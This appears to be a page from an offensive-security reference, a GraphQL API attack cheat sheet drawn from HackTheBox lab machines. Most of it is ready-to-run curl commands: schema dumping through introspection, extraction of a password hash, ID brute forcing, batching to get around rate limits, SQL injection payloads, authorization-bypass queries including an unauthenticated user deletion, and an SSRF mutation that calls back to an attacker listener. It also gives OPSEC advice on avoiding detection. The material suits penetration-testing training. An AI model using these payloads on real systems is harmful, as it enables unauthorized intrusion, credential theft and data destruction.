Back to All Modules

GraphQL API Attacks

#Overview

GraphQL is a query language for APIs that provides a single endpoint for data retrieval and mutation. Misconfigured GraphQL endpoints can expose the full schema through introspection queries, enabling an attacker to map the entire API surface. GraphQL endpoints may also be vulnerable to injection, authorization bypass, and rate-limiting weaknesses due to query batching.

#Prerequisites

  • Access to the GraphQL endpoint (commonly at /graphql, /api/graphql, /v1/graphql)
  • curl or a GraphQL IDE (graphql-playground, Altair, GraphiQL)
  • Python for scripting automated extraction

#Detection & Enumeration

#Identifying GraphQL Endpoints

# Common paths to try
ffuf -w /usr/share/seclists/Discovery/Web-Content/graphql.txt:FUZZ \
  -u http://target.htb/FUZZ -ic -t 50
# Typical paths: /graphql, /api/graphql, /gql, /query

# Confirm by sending a malformed query - GraphQL returns structured errors
curl -s http://target.htb:3000/graphql?query=abc
# Error: "Must provide query string" or similar indicates GraphQL
BASH

#Introspection Query for Schema Enumeration

# Full introspection query - enumerates all types, fields, queries, and mutations
curl -s -X POST http://target.htb:3000/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"query { __schema { types { name fields { name type { name kind } } } } }"}' | jq

# Compact version for quick type enumeration
curl -s -X POST http://target.htb:3000/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { queryType { fields { name } } } }"}' | jq

# Enumeration via GET parameter (Help HTB technique)
curl -s -G http://help.htb:3000/graphql \
  --data-urlencode 'query={user {username} }' | jq
# {"data":{"user":{"username":"helpme@helpme.com"}}}

# Dump sensitive fields like passwords
curl -s -G http://help.htb:3000/graphql \
  --data-urlencode 'query={user {username, password} }' | jq
# {"data":{"user":{"username":"helpme@helpme.com","password":"5d41402abc4b2a76b9719d911017c592"}}
BASH

#Enumerating Mutations

# List all available mutations
curl -s -X POST http://target.htb/graphql \
  -d '{"query":"{ __schema { mutationType { fields { name args { name type { name } } } } } }"}' | jq

# Example mutation execution (Cereal HTB)
curl -s -X POST http://localhost:8080/api/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"mutation { updatePlant(plantId: 1, version: 1, sourceURL: \"http://10.10.14.4\") }"}'
BASH

#Exploitation / Execution

#ID Enumeration via Brute Force

# If introspection is disabled but you know a query name, brute-force IDs
for i in $(seq 1 100); do
  curl -s -X POST http://target.htb/graphql \
    -H "Content-Type: application/json" \
    -d "{\"query\":\"{ user(id: $i) { username email } }\"}"
done
BASH

#Batching Attacks to Bypass Rate Limiting

# GraphQL supports batching multiple queries in one request
curl -s -X POST http://target.htb/graphql \
  -H "Content-Type: application/json" \
  -d '[
    {"query":"{ user(id: 1) { email } }"},
    {"query":"{ user(id: 2) { email } }"},
    {"query":"{ user(id: 3) { email } }"},
    {"query":"{ user(id: 4) { email } }"}
  ]'
BASH

#SQL Injection in GraphQL Arguments

# GraphQL arguments may be vulnerable to SQL injection if not parameterized
curl -s -X POST http://target.htb/graphql \
  -H "Content-Type: application/json" \
  -d "{\"query\":\"{ search(query: \\\"test' OR 1=1;-- -\\\") { results } }\"}"

# Test for time-based injection
curl -s -X POST http://target.htb/graphql \
  -H "Content-Type: application/json" \
  -d "{\"query\":\"{ user(username: \\\"admin' AND SLEEP(5)--\\\") { id } }\"}"
BASH

#Authorization Bypass via Resolver Manipulation

# GraphQL resolvers may not enforce authorization on nested queries
# Attempt to access privileged fields via nested object traversal
curl -s -X POST http://target.htb/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ currentUser { role organization { adminUsers { username passwordHash } } } }"}'

# Test mutations without proper auth tokens
curl -s -X POST http://target.htb/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"mutation { deleteUser(id: 1) { success } }"}'
BASH

#SSRF via GraphQL Mutations

# If a mutation accepts a URL parameter, test for SSRF (Cereal HTB)
curl -s -X POST http://localhost:8080/api/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"mutation { updatePlant(plantId: 1, version: 1.0, sourceURL: \"http://10.10.14.4:9999\") }"}'
# Listen for callbacks: nc -lnvp 9999
BASH

#Common Pitfalls

  • Missing Content-Type: application/json header -- GraphQL endpoints typically require JSON
  • Sending queries as URL-encoded form data instead of raw JSON body
  • Introspeciton disabled -- fall back to field fuzzing with tooling
  • Using GET when the endpoint only accepts POST
  • Not escaping quotes inside GraphQL query strings when using curl

#OPSEC Considerations

  • Introspection queries are often logged and can trigger alerts
  • Large enumeration queries generate anomalous traffic volume at a single endpoint
  • Batching attacks produce multi-operation payloads that stand out in logs
  • GraphQL IDEs make distinct User-Agent fingerprints

#Post-Exploitation Value

  • Complete API schema mapping for further targeted attacks
  • Discovery of hidden administrative mutations (deleteUser, promoteToAdmin, etc.)
  • Credential leakage through unsecured queries (password hashes, API keys)
  • SSRF pivots into internal services via URL-accepting mutations
  • Database enumeration through injectable GraphQL arguments

#Cross-References

#Tool References

ToolLink
graphql-playgroundhttps://github.com/graphql/graphql-playground
Altair GraphQL Clienthttps://altair.sirmuel.design
GraphQLmaphttps://github.com/swisskyrepo/GraphQLmap
Clairvoyancehttps://github.com/nikitastupin/clairvoyance

#Source Machines

  • Help (Easy, Linux) -- GraphQL endpoint on port 3000, user/password enumeration
  • Cereal (Hard, Windows) -- GraphQL mutation with SSRF leading to SYSTEM